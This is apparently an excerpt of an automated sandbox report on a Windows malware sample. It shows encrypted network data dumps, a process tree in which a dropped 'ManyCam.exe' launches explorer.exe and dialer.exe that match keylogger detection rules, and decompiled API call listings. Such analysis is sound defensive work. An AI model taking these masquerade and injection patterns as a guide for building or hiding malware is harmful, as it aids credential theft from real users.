a2 c6 6c a2 7a 1b fd 7e cc ad 0b 7b e0 02 fe c3 91 35 5f 55 79 40 7e cf 67 11 1f 76 6e 11 a0 67 6e 11 a2 67 4b c4 42 0b 6e 11 a8 67 e9 b6 41 8f 86 f9 48 8a 86 25 24 23 81 24 59 47 93 1a a0 67 fe 12 af 67 e8 7f a0 67 Data Ascii: mQ'9f[0]W$pXPAq5gri%[Fe{DmX][Y_PLO$}Gzb60@G+B6l'`Wr7rF]JpMJ_U5yY0lz~{5_Uy@~gvngngKBngAH%$#$YGggg
2023-11-17 05:22:24 UTC	4008	IN	Data Raw: 6f d4 3d 49 16 0e 98 3c cd 5d 56 18 43 8f 58 12 7b 8f 71 15 eb 5d 65 41 8b 5f 34 83 04 d6 35 6d 6c 5b b8 f9 06 4f 71 df fa 0e f0 74 86 3b 74 13 86 df 7f 6e d6 d6 35 79 42 d4 25 11 26 b7 98 12 86 4b fb 91 4b ab fb c4 ee d6 21 ad 46 d4 35 6d 85 b7 72 11 05 39 f0 18 47 67 fb c4 f2 39 70 95 56 39 f9 d3 3c 5a 78 d5 0f 57 30 b0 01 57 32 56 43 9f 31 fd c1 1a 5a 2d 85 5e c8 12 07 eb f1 90 ee 15 72 5d 87 3a b8 1a 4b 97 fb c0 06 53 f9 c4 c2 d4 35 55 85 5d b0 91 74 b3 fb dc ea d6 3d f1 b6 d4 25 7d 8d 9f 5a d2 05 8b 70 1a 53 8b fb d4 ee d6 32 b3 2e 9f 5c 12 ef 5d f0 92 60 d6 30 db 22 d4 35 45 60 5f 74 f7 4e d6 38 b7 00 c2 b0 6c 05 1c 95 8a 4e cf b0 1e 57 5f 77 91 4b 5c 38 ad 06 d6 3d 6d 8d 0a 8c 10 3c 5f 20 d4 06 5f 04 95 35 9f 18 7a 03 e7 f0 c4 06 56 7c 53 9d 57 51 Data Ascii: o=I<]VCX{q]eA_45ml[Oqt;tn5yB%&KK!F5mr9Gg9pV9<ZxW0W2VC1Z-^r]:KS5U]t=%}ZpS2.\]`0"5E`_tN8lNW_wK\8=m<_ _5zV\|SWQ
2023-11-17 05:22:24 UTC	4024	IN	Data Raw: 03 97 75 93 8a 2a 5a 57 03 3e 24 d9 87 be a2 92 e9 3c 70 f1 0b 6f 75 05 02 b4 31 16 69 5b 12 95 ee 5c 05 b2 c5 f3 70 de 0f 5c 74 61 05 b8 81 a7 f9 5c 80 92 ef 25 31 25 73 44 9b 8f fe 77 99 9d c6 5e 12 0f cc 76 8f d0 a3 76 72 a8 85 72 05 96 b6 5e 99 eb f5 4b f8 ae 2d 20 c0 ae 2d 60 5b 89 05 60 5b 6e 39 74 4f ba 39 74 4f ba 39 74 4f ba 39 74 4f ba f9 60 5b ae 2d 60 5b ae 2d 60 5b ae 2d 60 5b ae 2d a0 4f ba 39 74 4f ba 39 74 4f ba 39 74 4f ba 39 74 8f ae 2d 60 5b ae 2d a0 73 ae 2d 60 5b ae 2d ae 5a 5e a5 9a 05 51 97 0f f0 5f 16 e5 82 8f a2 0e 88 79 b0 4d a3 b6 26 c2 58 93 75 d1 54 93 98 cc 54 93 65 7a d1 1f b7 71 73 92 4f fa 93 71 99 df 2f a1 4e 74 62 98 e6 8c e0 93 b5 2c 51 63 07 5c 31 c1 1a fb 5c f9 12 53 6e d1 11 53 a0 a5 47 5f 00 b4 46 50 f3 7f ae 1d 44 Data Ascii: u*ZW>$<pou1i[\p\ta\%1%sDw^vvrr^K- -`[`[n9tO9tO9tO9tO`[-`[-`[-`[-O9tO9tO9tO9t-`[-s-`[-Z^Q_yM&XuTTezqsOq/Ntb,Qc\1\SnSG_FPD
2023-11-17 05:22:24 UTC	4034	IN	Data Raw: 6b e7 b2 9f a2 5d 50 93 92 9f 72 f9 ce cf 80 23 8d 9f 35 79 56 b7 d5 94 47 14 b0 ba 04 c7 f1 94 9a 33 aa 4d 8d 12 20 79 57 b7 fe 14 03 c3 f1 94 8b 5f 50 db a7 d4 25 79 54 b7 7a e6 83 5a d0 10 03 8b 0c 8b ae 4a 72 80 66 da 75 3d 87 5a 61 79 e5 f5 bf 93 17 16 f5 94 b6 dd 6f 31 84 40 32 35 87 57 07 05 97 73 32 9f 20 da f5 99 66 de 75 b7 e8 d8 a2 d3 08 55 7f 14 03 3b 32 c5 f2 d6 e5 25 b3 dd 34 0d 04 3b d8 13 42 9e e1 83 c6 ce 60 9d c1 da e8 11 03 9d 31 60 0e ab 9b 9b c5 5d 9b 71 a4 a1 52 1a 44 5d f9 14 e2 5f 30 1a 8b 44 31 90 c6 ee 38 d1 08 df d3 9d 56 b7 34 8c 12 9d c2 18 83 1b 36 11 05 4d fd 53 78 d2 38 51 65 98 f5 dd 03 1f 71 91 06 5f 18 84 48 26 97 dd 8b ca f1 92 45 51 93 82 42 51 ac a0 c6 53 b7 14 e6 1f 71 50 0f d2 fd 30 47 5d 21 fb 46 d4 b4 9b 83 9e 61 Data Ascii: k]Pr#5yVG3M yW_P%yTzZJrfu=Zayo1@25Ws2 fuU;2%4;B`1`]qRD]_0D18V46MSx8Qeq_H&EQBQSqP0G]!Fa
2023-11-17 05:22:24 UTC	4050	IN	Data Raw: 56 b7 6c 32 07 d2 3d 49 57 de d1 92 6e 8f 77 91 06 37 30 96 33 1f 2d 7d c5 13 d4 90 0f 3f 60 ab 56 5e 12 18 8f 1a 84 12 7b ab 70 d1 73 5b 42 51 ed 04 91 8d 44 4f 44 12 ce 5e 70 95 8f 1e 44 dc c3 5e 72 54 07 3f 45 82 f4 bd 7f c1 1f 5f 5b c1 6c 7f 62 31 1d a7 98 2f 47 ff 6b 12 c2 53 f8 d4 c6 76 84 cc c7 42 5d 91 04 fe 77 d1 07 4d 30 90 8c 50 70 92 0d 11 93 dc c6 40 7c 1a 57 7b 38 18 56 13 14 90 97 eb d0 82 8f d3 20 d1 c3 5e d1 36 8f 0f 40 54 07 15 8c 53 07 6b b0 d6 8d 57 31 b8 47 6f 78 18 84 d7 92 88 c6 5e 60 1a 06 1d 58 18 47 47 fb c3 2a 57 f9 c0 1a 7d 76 81 8d 0e 50 91 8f 0f 60 1a 4f 7b f9 d9 00 4b 91 94 e6 59 38 a9 8f 15 78 d1 8d 1f 4c 18 44 53 d5 97 66 d7 f9 d0 26 3a 71 f5 8f 1e 10 d4 1f 3c 71 95 8f bf 50 d2 07 57 f9 d0 8c 5b 92 98 7e 5e 7b 1b e6 51 90 Data Ascii: Vl2=IWnw703-}?`V^{ps[BQDOD^pD^rT?E_[lb1/GkSvB]wM0Pp@\|W{8V ^6@TSkW1Gox^`XGG*W}vP`O{KY8xLDSf&:q<qPW[~^{Q
2023-11-17 05:22:24 UTC	4066	IN	Data Raw: 17 45 52 95 07 7f ec bb 9d 7c 74 e1 54 b7 07 83 7e 75 7f 62 f6 50 03 4c 74 5d 2f a1 a8 29 72 f0 17 03 d2 fb 46 57 b1 01 0d 67 fb c3 22 d6 81 e5 f6 12 71 d1 13 77 f9 c1 26 d4 39 bd 4e d6 38 b5 55 55 7d 91 b5 70 f9 f5 47 2b c2 95 c5 40 48 96 b7 5b 60 e6 47 a7 81 bf c4 cf 78 c5 8d ab fe a3 70 2a 42 d6 be bd 30 99 e6 c4 48 87 54 53 70 18 57 77 c8 91 12 37 e8 76 aa 11 fb d4 06 57 fb 99 85 9e 7c c0 8d 5f 25 99 8d 1d 08 c1 ee c7 70 74 f9 a0 f3 55 0a d4 3d 91 0e d4 61 18 44 57 9b d4 05 5d f4 90 72 5d fb d8 0e d6 38 97 16 5c 58 90 7e d4 30 9d 8f 1d 30 85 6e 05 3e 16 68 5d 6e 12 0e 9d 7c c3 07 05 38 e9 57 b7 36 c0 02 d3 70 c9 0c d6 31 92 78 dc 70 e9 0e 5f 05 96 34 9f 99 81 4d 5d 70 91 06 3d 21 79 6d 5d 85 90 23 5b 7f 27 d6 da a2 81 73 47 1a 92 05 34 61 1a 84 1f c4 Data Ascii: ER\|tT~ubPLt]/)rFWg"qw&9N8UU}pG+@H[`Gxp*B0HTSpWw7vW\|_%ptU=aDW]r]8\X~00n>h]n\|8W6p1xp_4M]p=!ym]#['sG4a
2023-11-17 05:22:24 UTC	4070	IN	Data Raw: 02 5f 38 e5 35 8d 22 c0 6e 82 18 5d bd f5 82 99 d6 da 72 44 16 16 47 10 04 6e 7f 31 51 bf f0 18 e4 5d ab 5f ec b1 93 93 a7 b2 72 8b e3 5d f3 8c 86 5a c4 3b bd 1d fd e6 95 5d 42 96 62 6a 77 8b ca 1d 74 cd a2 5e 91 9e 72 de 92 00 d7 49 7f 14 b3 1b 5c d9 62 8c 51 81 66 c6 22 c1 f4 5f 4c c0 8d 3b 20 a9 48 6f 48 f2 42 48 75 9f 97 ae f7 a8 8b 1a 9c d1 1c 5b 57 3e 1d f7 6b b5 54 01 d8 8a 32 d2 c0 e3 8d 0a 3e 6d b5 59 14 99 3b 5c fb 13 77 24 8f 33 d6 cb ea 8f ed 45 82 90 5e bf 38 91 4b 57 73 c0 26 4c 31 b5 19 df 70 c2 4c 6a 5c 63 2d de d1 1a 4e 07 74 a2 d4 2f 70 92 4e 7f 63 c1 b8 7b 82 bb 06 72 65 f9 cc 3a d2 d9 fe 6f 78 3b f2 bc 78 99 a1 50 6d a3 b2 4b 8c a0 04 4b a3 8c 85 be 50 e4 01 ef 88 90 ef b4 92 81 e4 19 c0 bc 75 3c c2 1e 85 3f 42 83 32 1d 4c 12 c6 6b 40 Data Ascii: _85"n]rDGn1Q]_r]Z;]Bbjwt^rI\bQf"_L; HoHBHu[W>kT2>mY;\w$3E^8KWs&L1pLj\c-Nt/pNc{re:ox;xPmKKPu<?B2Lk@
2023-11-17 05:22:24 UTC	4086	IN	Data Raw: 26 56 13 72 2a 8b 60 d1 ee 3e 20 92 15 57 6a a2 a9 58 d4 96 04 6d 5c ba fd 53 ca 9b 09 cf 52 7f 1e 1d 76 13 01 77 98 2d e1 84 51 86 97 5f 62 91 09 87 77 72 16 56 c0 01 63 ff 68 ed 06 08 04 9c 44 5d 24 95 46 98 83 dd 87 58 df ba 4e e5 62 81 59 19 77 c3 56 6a 50 29 24 4f 71 f7 e7 58 c8 32 e7 c5 e1 91 2c e7 03 05 06 73 a6 90 aa 71 c8 80 2d ce 70 a1 70 5d 42 e7 04 17 44 a2 c6 3e 70 a7 4a 2e 5f dd d9 1c 57 74 25 8b 76 43 a0 9e 79 d9 57 4e 8f a4 25 ca 6e d0 59 dc c8 a9 d7 36 05 be 8a e6 88 a6 14 7c 69 d9 8f de c1 90 24 e5 f6 90 4e d4 f8 90 07 b7 7a a7 d7 1c 5a 91 07 df 71 90 d5 5d fb d8 9b cf e8 d9 c4 d0 fd 90 96 58 78 28 87 47 b9 6a 03 d4 f9 d3 04 d6 f1 d3 6f 27 73 56 44 44 a0 97 77 5e 98 0d d6 82 76 33 1d 32 b3 90 f9 0f 3f 5a 07 cf b3 95 07 43 12 e7 20 79 78 Data Ascii: &Vr*`> WjXm\SRvw-Q_bwrVchD]$FXNbYwVjP)$OqX2,sq-pp]BD>pJ._Wt%vCyWN%nY6\|i$NzZq]Xx(Gjo'sVDDw^v32?ZC yx
2023-11-17 05:22:24 UTC	4102	IN	Data Raw: cd 89 72 3e 50 1d cf 94 db 5d ed 47 04 ee 6a 9b 83 f8 c4 0a 25 77 81 90 67 1a 85 90 1c 80 74 f4 02 c5 22 f7 88 e7 b8 e1 07 b9 da b4 c4 c2 d3 d5 46 b7 1b da 59 5b 2d 95 c5 1f 48 30 04 bf 95 6e f9 a0 e4 62 23 f8 e2 fb 26 67 b1 92 09 e9 e0 88 72 6d 08 c2 17 5e 71 fb 73 75 8d 90 73 a5 71 e5 cc 55 c0 9c 22 ee 7d 7a 0e ce 70 a0 9f 8a e1 bd 22 4f 42 b1 87 5f 50 81 03 fd 5e 30 35 5b 78 79 45 d0 83 b1 56 5a f3 2e 86 5e 42 03 76 5f b0 3f d6 67 62 3f 47 bf 70 16 44 5c 81 3c 04 d5 78 79 1e ce c9 13 60 27 9f 94 36 5d f4 1f e3 5a 74 9b 01 be 80 f8 27 5e 9b 94 67 5f 42 d1 95 5d 31 e4 01 56 38 10 c7 9f 20 9a 42 5a a1 95 27 bf 76 c1 ee 1e 11 6e 28 a0 b1 e7 f7 04 74 af 47 cb 7a 18 47 6d 30 13 12 17 b3 64 15 4d 72 a1 ee 8b 7d 4e 7f 73 97 75 40 6f 4b be 86 45 19 20 04 ee 36 Data Ascii: r>P]Gj%wgt"FY[-H0nb#&grm^qsusqU"}zp"OB_P^05[xyEVZ.^Bv_?gb?GpD\<xy`'6]Zt'^g_B]1V8 BZ'vn(tGzGm0dMr}Nsu@oKE 6
2023-11-17 05:22:24 UTC	4106	IN	Data Raw: 05 15 34 b7 96 3f 77 b3 c0 ff 7a 90 ed 5a 11 91 06 1b 1c 9e b0 bd 15 13 01 0f 22 d5 14 57 ec 47 28 3d 73 20 04 7e c3 93 27 df fd c1 06 cb 9b 93 f4 f9 48 6f a0 0b 54 c1 68 42 33 9c 7e fa e8 84 34 2d 77 b7 47 e7 b0 ca a7 3b 13 d9 8b ff 2d 14 07 d7 38 1a 8e de 7f 79 7b ec 70 9e 07 1d 5e b5 47 e7 75 05 7a 2a 6b ce 04 0f 72 c6 53 5d 06 fb 46 1e c9 8f 4a 2f 3a 30 1f 3d c5 97 05 17 78 79 0a 76 6e 41 04 7f 69 d1 06 2a 75 fd ef b2 22 bc d3 5e f0 42 10 cc 4d d9 82 d4 f9 70 06 d4 f9 29 0a 5e 5d 9d 8e ef 11 91 75 21 48 d0 bf 0f f7 76 03 ef 6a 79 03 95 6d 6e f9 2f 7e 8b 32 2d 7e 1c 86 5f 71 92 26 1e c9 8f 46 af 70 40 6c 8f 7b bb 05 57 98 49 bc 33 35 09 28 ac 71 64 01 bd 28 c1 07 c3 08 a5 47 e7 81 92 46 76 f2 e8 84 3f 20 ee d4 e6 ff 9a 83 54 d1 83 c6 58 f0 10 c3 58 f0 Data Ascii: 4?wzZ"WG(=s ~'HoThB3~4-wG;-8y{p^GuzkrS]FJ/:0=xyvnAiu"^BMp)^]u!Hvjymn/~2-~_q&Fp@l{WI35(qd(GFv? TXX
2023-11-17 05:22:24 UTC	4122	IN	Data Raw: 0c df ff 7a f3 e7 98 42 2d dd 0f a6 ae 0e ce 89 e0 cb 20 a1 4b d4 81 23 ae ad a1 05 f9 5f 31 a8 7e 5b 04 9e 4b 3c 60 e9 02 b7 f6 41 b7 16 fd 85 4e 58 9b 97 66 f8 34 1a 86 d1 a2 b5 09 db e0 13 06 1a 60 1e 17 b7 52 f6 e6 5e 38 1a ce 3f 7e 95 4e 4f 73 59 ed 5c f0 57 46 67 09 81 16 50 f4 c2 26 5d 49 ea 0e df 05 99 3f 64 7f 1c 40 9e 70 19 3d 23 7a f1 04 57 38 92 96 5b 70 61 f0 5c f0 e5 34 1e 86 01 00 4f 04 bd a6 d8 c9 e9 a6 d8 b1 51 0b 7f 8f 84 18 8f 80 89 76 ec 24 15 28 6f 73 d9 17 c3 55 10 06 d6 71 d1 05 97 9b ce f0 5c 78 e5 26 44 39 1a 4b 77 00 83 09 db fa 81 23 5d 77 b3 04 51 9b ae 16 5a b0 90 72 15 39 1a 53 5f 72 e1 0c 49 84 50 1b 5e 72 7a 86 5f 3d f2 40 59 64 e0 b5 ae ce d0 85 21 64 99 0e 50 f5 3b f7 5e 49 af 09 db 72 30 f4 02 7e d8 8b 09 78 79 42 47 9d Data Ascii: zB- K#_1~[K<`ANXf4`R^8?~NOsY\WFgP&]I?d@p=#zW8[pa\4OQv$(osUq\x&D9Kw#]wQZr9S_rIP^rz_=@Yd!dP;^Ir0~xyBG
2023-11-17 05:22:24 UTC	4138	IN	Data Raw: 07 48 63 bc 65 4d 51 91 00 17 5d 83 0e 5f 76 94 85 5f 88 90 73 5d 43 43 4e a0 d0 b4 d6 24 70 91 06 7b dd 91 5f 0b 04 7f 07 68 99 90 02 bb 71 95 d9 4a 71 95 dc 5e 74 44 07 5b a0 bc 33 55 6f 91 22 96 71 aa c0 dc 92 99 06 b4 b1 d9 8f 03 54 99 51 5f fd 10 1e 5d 8f 6e 43 d4 52 48 06 47 39 1a de 5d 22 d0 09 4f e6 53 35 a0 f0 de 47 2b 08 c4 01 0a 1d 92 53 39 73 c4 59 5e 5a cb 53 5e 72 c4 07 0a 38 94 53 18 73 c4 46 b6 72 c4 ed 73 75 df 36 de 64 98 69 5f 72 3b 1a 5e 72 86 07 5d 62 92 48 54 f0 d0 06 2b 76 9e bc ad 77 7a 04 5b fb 46 07 9f 38 d4 82 8d 3c 90 06 eb 30 dd 8d 9f 3c 9e 43 5d b7 11 07 90 04 96 4e da b0 d1 72 5d f9 a9 4a d6 70 81 4a 4f fb 52 4a d6 70 81 43 d4 bb 98 87 9d 60 ce 86 d5 b2 eb 06 5f 70 5d ca 17 fb 55 4e d6 28 91 0e 17 f9 f9 16 17 f9 e1 06 47 38 Data Ascii: HceMQ]_v_s]CCN$p{_hqJq^tD[3Uo"qTQ_]nCRHG9]"OS5G+S9sY^ZS^r8SsFrsu6di_r;^r]bHT+vwz[F8<0<C]Nr]JpJORJpC`_p]UN(G8
2023-11-17 05:22:24 UTC	4154	IN	Data Raw: c0 5b 2b e5 c3 6a b7 15 86 23 54 81 53 17 fb 7d 84 f7 70 12 63 9f 70 12 3b fd a5 c0 46 7b b6 d4 d6 9f 70 79 c6 5f 80 90 c6 5f 88 91 73 4f 7f 81 03 5b d1 5f 07 59 98 90 f5 50 0f 91 43 87 38 1c 53 9f 98 02 04 a1 f0 31 7b b7 72 1a fe 2a 7a 9a 46 9a b0 15 a6 df 0d 61 06 5f 04 9e 8d 02 9c d9 8b 12 70 51 ee 4d f6 6e f9 d6 28 c1 26 df 0d 69 04 5a 84 93 03 a2 7a 14 07 5a 54 93 ad d4 b7 d9 8d 65 0c 12 ad 02 f1 b7 04 5f 30 b5 5e 39 70 9e 79 2b 54 b1 85 62 93 b0 46 80 70 9e 83 b6 f0 47 60 50 74 b9 de 9f 70 71 60 50 03 42 06 6b 16 d9 09 21 b0 f7 09 4f 8b 8c a9 df 32 97 ee 39 7f 19 52 72 03 53 04 70 5d fa e6 5f 78 9e 82 da 13 97 d6 ac 7f 77 26 ac 16 9e 51 b2 50 92 c3 50 34 17 29 fd 72 4a 13 c8 10 95 f4 7f 7f cd 23 40 f1 f3 00 6a d7 a0 e6 5f 7f 15 de 3f 3c b1 0f 7a 89 Data Ascii: [+j#TS}pcp;F{py__sO[_YPC8S1{r*zFa_pQMn(&iZzZTe_0^9py+TbFpG`Ptpq`PBk!O29RrSp]_xw&QPP4)rJ#@j_?<z
2023-11-17 05:22:24 UTC	4170	IN	Data Raw: e7 62 64 2d 06 12 6f 5d 07 59 4e 2e e3 5f 86 c0 e6 ac 9a ac ed ac 70 8b 18 54 0a 98 38 98 72 91 c6 2f f9 32 c6 62 21 56 06 08 70 91 28 4f 4e 9f 68 5f bd 7f 06 04 65 af a9 ea 70 92 76 76 f6 4e 3b 32 d3 91 30 ec c9 c6 16 61 3f 7b 06 59 3a 59 4d 4c 4e 3c ba 5f d1 0f dc 1c 66 af 2c b5 70 66 b2 f8 16 8c 38 b0 8c 91 f1 67 90 23 f0 62 f8 61 06 2f b6 c5 ef ac 4d 22 cc 5f 4a 98 0f 2d 74 af a1 02 70 b6 e1 d0 00 8c 38 b8 c9 91 77 28 ee 4e 19 61 10 97 46 55 d7 2e 21 57 4e 72 16 49 70 af 5d 01 1a 81 f0 68 76 91 38 14 12 ed f7 4c 1a 83 06 61 4a f3 86 91 c2 af 0f 5f 4e 4f 92 4a 99 40 36 4b 70 af 37 ff ff 81 16 34 6d 91 38 1e 82 2b 0d c3 f7 87 06 61 5b 2d a0 01 71 99 f9 5f 4d fd 61 99 bd ac b0 76 70 af 2a f4 b4 2d 2a 5d 5b 91 38 1b 15 4c 7b 8f 67 68 06 62 ee a6 05 08 10 Data Ascii: bd-o]YN._pT8r/2b!Vp(ONh_epvvN;20a?{Y:YMLN<_f,pf8g#ba/M"_J-tp8w(NaFU.!WNrIp]hv8LaJ_NOJ@6Kp74m8+a[-q_Mavp-][8L{ghb
2023-11-17 05:22:24 UTC	4186	IN	Data Raw: 46 48 b1 02 52 26 e2 14 07 69 60 ac 76 cc e1 13 05 26 e3 03 2f dd 73 17 94 dc 73 ea 84 58 22 f8 0a 3c 18 10 15 d2 35 c1 43 5f 70 91 4a 5e 73 91 b4 0e 48 f5 07 da 79 71 06 5d 51 9a 07 51 e8 81 06 5d 74 e1 06 5f c0 81 06 5d c5 10 07 7f 72 96 16 dd 75 51 01 59 b4 9d 81 9a 71 93 46 9b 7c 92 06 1f 75 93 0b 08 b1 9b c0 5e f3 90 46 9f 61 c9 0f 7d 40 fc c6 42 71 89 4b 9f 7b a9 b9 32 76 91 28 8f 04 f4 7e 2b b0 90 ff 5a 54 59 3c 5e f8 8d 66 71 02 f5 67 2b 11 ae 86 57 b1 b7 c7 61 b1 98 00 64 f6 ad 46 71 80 e3 75 2d 13 50 48 9e 79 51 34 9d 79 6f 0e 90 79 ee 28 60 70 ae 06 60 70 8e 06 40 70 9e 19 5f 6f 91 19 5f 63 91 53 d4 9c 12 06 b3 7c c2 8d 02 78 1c 43 5f 84 c7 51 35 78 1a 35 d4 50 ea 1e 0f 98 35 66 5c 19 57 06 af a8 6e f9 dc b4 99 c1 d7 35 69 f9 5f 70 18 43 ab f0 Data Ascii: FHR&i`v&/ssX"<5C_pJ^sHyq]QQ]t_]ruQYqF\|u^Fa}@BqK{2v(~+ZTY<^fqg+WadFqu-PHyQ4yoy(`p`p@p_o_cS\|xC_Q5x5P5f\Wn5i_pC

Target ID:	0
Start time:	06:22:19
Start date:	17/11/2023
Path:	C:\Users\user\Desktop\XtDhwVrVKn.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\XtDhwVrVKn.exe
Imagebase:	0x7ff62cb90000
File size:	2'515'968 bytes
MD5 hash:	EEC338FDDD2D5FBA1395358179C31F43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:22:25
Start date:	17/11/2023
Path:	C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe
Imagebase:	0x400000
File size:	1'756'232 bytes
MD5 hash:	BA699791249C311883BAA8CE3432703B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:22:25
Start date:	17/11/2023
Path:	C:\Windows\System32\pcaui.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\pcaui.exe" -g {11111111-1111-1111-1111-111111111111} -x {bce4b583-343f-44b8-8f95-9f76104077b9} -a "ManyCam" -v "ManyCam LLC" -s "To work properly, this app must be reinstalled after you upgrade Windows." -n 4 -f 0 -k 0 -e "C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe
Imagebase:	0x7ff7e3e50000
File size:	162'816 bytes
MD5 hash:	0BA34D8D0BD01CB98F912114ACC7CF19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:22:26
Start date:	17/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:22:26
Start date:	17/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:22:47
Start date:	17/11/2023
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x3f0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000003.2395563099.0000000006E80000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000003.2395413871.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:22:59
Start date:	17/11/2023
Path:	C:\Windows\SysWOW64\dialer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0xa30000
File size:	32'256 bytes
MD5 hash:	E4BD77FB64DDE78F1A95ECE09F6A9B85
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000003.2398960542.0000000005220000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000003.2398803359.0000000005000000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:23:08
Start date:	17/11/2023
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\openwith.exe
Imagebase:	0x7ff71bc90000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:23:35
Start date:	17/11/2023
Path:	C:\Program Files\Windows Media Player\wmprph.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Windows Media Player\wmprph.exe
Imagebase:	0x7ff7fd090000
File size:	86'528 bytes
MD5 hash:	B4298167D12E6AC4618518E0B6326802
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	60%
Total number of Nodes:	15
Total number of Limit Nodes:	4

Executed Functions

Function 0179D5E0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 127
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,00000000), ref: 0179D5FF
RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\SYSTEM\CentralProcessor\0\,00000000,00000001,?), ref: 0179D65B
RegQueryValueExA.KERNEL32(?,~MHz,00000000,00000000,?,?), ref: 0179D67B
RegCloseKey.KERNEL32(?), ref: 0179D69F
QueryPerformanceFrequency.KERNEL32(?,?,00000000), ref: 0179D73F

Strings

~MHz, xrefs: 0179D675
HARDWARE\DESCRIPTION\SYSTEM\CentralProcessor\0\, xrefs: 0179D636

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Query$CloseFrequencyInfoOpenPerformanceSystemValue
String ID: HARDWARE\DESCRIPTION\SYSTEM\CentralProcessor\0\$~MHz
API String ID: 3168753991-3803085211
Opcode ID: a02401b3770b251c7931464d8efec6ba30d962b8c4f49ceb575428b3580b2a50
Instruction ID: f85151cad0cccaa84fde2a9cf0b09d3bbb7c8dc0a1d3d00a73bc700766f766f6
Opcode Fuzzy Hash: a02401b3770b251c7931464d8efec6ba30d962b8c4f49ceb575428b3580b2a50
Instruction Fuzzy Hash: 7141EDB52043498BD720DF59E884AABFBE4FBC47A5F40892DF58583244E776D48C8B62

Uniqueness

Uniqueness Score: -1.00%

Function 0179DA20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000), ref: 0179DB20
sprintf.MSVCR80 ref: 0179DBA0
LoadLibraryA.KERNEL32(017D24D9), ref: 0179DBA6

Part of subcall function 0179D5E0: GetSystemInfo.KERNEL32(?,?,00000000), ref: 0179D5FF
